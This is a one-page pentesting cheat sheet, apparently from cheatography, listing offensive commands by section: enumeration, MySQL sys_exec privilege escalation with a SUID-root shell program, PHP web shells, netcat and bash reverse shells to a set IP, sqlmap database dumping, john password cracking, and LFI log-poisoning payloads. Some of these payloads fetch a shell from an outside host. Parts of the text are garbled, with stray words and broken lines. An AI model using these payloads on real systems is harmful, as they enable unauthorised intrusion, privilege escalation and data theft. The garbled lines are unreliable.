

### Enumeration

nmap 10.0.0.\* scanning for hosts

nast -m -i eth0

nmap -sV -p U:1-65535,T:1-65535 <IP>

testtest

### BASH commands

cut -d" " -f2 delimiter " " second field

find / -u root find user files

echo "text" | sed 's/reg-ex/e/' replace with sed

bash -i >& /dev/tcp/192.168.1.88/6666 0>&1; shell

find / -perm -4000 -type f find SUID files 2>/dev/null

; or ` or | to execute commands as second argument

### Sharing files without Apache

nc -w 5 -v -l -p 80 < netcat share file.ext from 80 port

cd / && python -m SimpleHTTPServer python file share

### Mysql commands

logged in mysql as root  
SELECT sys\_exec('touch /tmp/thisisatest');

```
int main()
{
  setresuid(0, 0, 0);
  setresgid(0, 0, 0);
  system( "/bin/bash" );
  return 0;
}
```

SELECT sys\_exec('chown root.root /tmp/exploit');

SELECT sys\_exec('chmod +s,a+rx /tmp/exploit');

-----  
select load\_file('/etc/passwd')

### Password decryption

### Php executing commands

<?php system(\$\_REQUEST['cmd']); ?>

<? Php \$ handler = popen (\$ \_GET ['cmd'], 'r'); \$ read = fread (\$ handler, 2096); echo \$ read;?>

wget -O /tmp/bd.php <url\_to\_malicious\_file> && php -f /tmp/bd.php

functions exec, shell\_exec, passthru

### Pseudo-terminal to real shell

python -c 'import pty; for exit pataw ctrl + pty.spawn("/bin/bash");' v ctrl + c [ enter]

nc -l -p 6666 -e nc IP 6666 /bin/bash

echo os.system('/bin/bash') /bin/sh -i

### SQL injection

./sqlmap.py -u http://192.168.60.138--forms

./sqlmap.py -u http://192.168.60.138--forms --risk=3 --level=3 --dbs

./sqlmap.py -u http://192.168.60.138--forms --risk=3 --level=3 -D members --dump

### Wordlists & Exploits

/pentest/passwords/john/password.lst

/opt/framework/msf3/data/john/wordlists/password.lst

<http://wiki.skullsecurity.org/Passwords>

cd /pentest/exploits/exploitdb/ cat files.csv | grep -i wordpress | grep 1.5.1

```
/pentest/passwords/john# john --rules --
wordlist=/pentest/passwords/wordlists/da-
rk0de.lst --users=aadams /root/de-ice/aa
./john /tmp/hash --format=raw-md5
echo <base64string> | base64 --decode
```

### LFI attack

```
php      index.php?page=data://text/pla-
streams in,<?php system%28%22una-
me%20-a%22%29;%20?%3E
```

URL `http://blah/access.log&cmd=ls`

error.log no links inside  
`http://blah/ [payload] encoded in url only`

telnet + user agent can be used  
access.log or user agent  
`GET /<? exec('wget http://h3ck.dyndns.or-
g/ani.txt -O shell.php');?>`

`GET /< ?php phpinfo(); ? >`

-----  
lfi + auth.log writable + ssh command  
execution

`ssh '<pre><?php echo system($_GET["cm-
d"]); exit; ?>'@h3ck.dyndns.org`

-----  
`/proc/self/environ -> user agent`  
`/proc/self/cmdline`  
`/proc/self/fd/1,2,3..`



By **vag\_mour**  
[cheatography.com/vag-mour/](http://cheatography.com/vag-mour/)

Not published yet.  
Last updated 12th May, 2016.  
Page 1 of 2.

Sponsored by **CrosswordCheats.com**  
Learn to solve cryptic crosswords!  
<http://crosswordcheats.com>